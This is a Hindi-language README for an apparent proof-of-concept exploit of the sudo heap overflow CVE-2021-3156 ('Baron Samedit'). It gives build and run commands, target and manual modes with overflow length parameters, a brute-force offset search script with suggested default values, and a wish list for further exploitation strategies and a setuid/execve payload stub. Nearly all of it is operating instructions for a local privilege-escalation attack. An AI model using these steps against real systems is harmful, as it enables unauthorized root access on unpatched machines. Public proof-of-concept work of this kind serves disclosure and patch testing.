CVE-2021-3156 PoC

परिचय

यह Qualys द्वारा Baron Samedit नामित CVE-2021-3156 sudo भेद्यता का एक शोषण है।

उपयोग

निर्माण:

$ make

लक्ष्य सूची:

$ ./sudo-hax-me-a-sandwich

चलाएँ:

$ ./sudo-hax-me-a-sandwich <target_number>

मैन्युअल मोड:

$ ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

ब्रूटफोर्स लक्ष्य खोज (प्रायोगिक)

सुनिश्चित करें कि आपके पास GNU parallel स्थापित है।

$ make brute
$ ./brute.sh <smash_start> <smash_end> <null_start> <null_end> <lc_start> <lc_end>

प्रयास करने के लिए कुछ डिफ़ॉल्ट मान:

$ ./brute.sh 90 120 50 70 150 300

यह सभी उपलब्ध कोर का उपयोग करेगा। नेटफ्लिक्स & ब्रूटफोर्स एक साथ न करें।

योगदान

समझदारी वाले PR भेजें, मैं मर्ज कर सकता हूँ।

कुछ विचार:

• अधिक लक्ष्य
• लक्ष्य खोज
• अन्य शोषण रणनीतियाँ
• अधिक स्व-निहित कार्यक्षमता:
  • साझा लाइब्रेरी hax.c एम्बेड करें (कृपया इसे छोटा बनाएं, ELF golf + asm setuid/execve stub)
  • hax.c में mkdir तर्क जोड़ें
• निर्देशिका/साझा लाइब्रेरी सफाई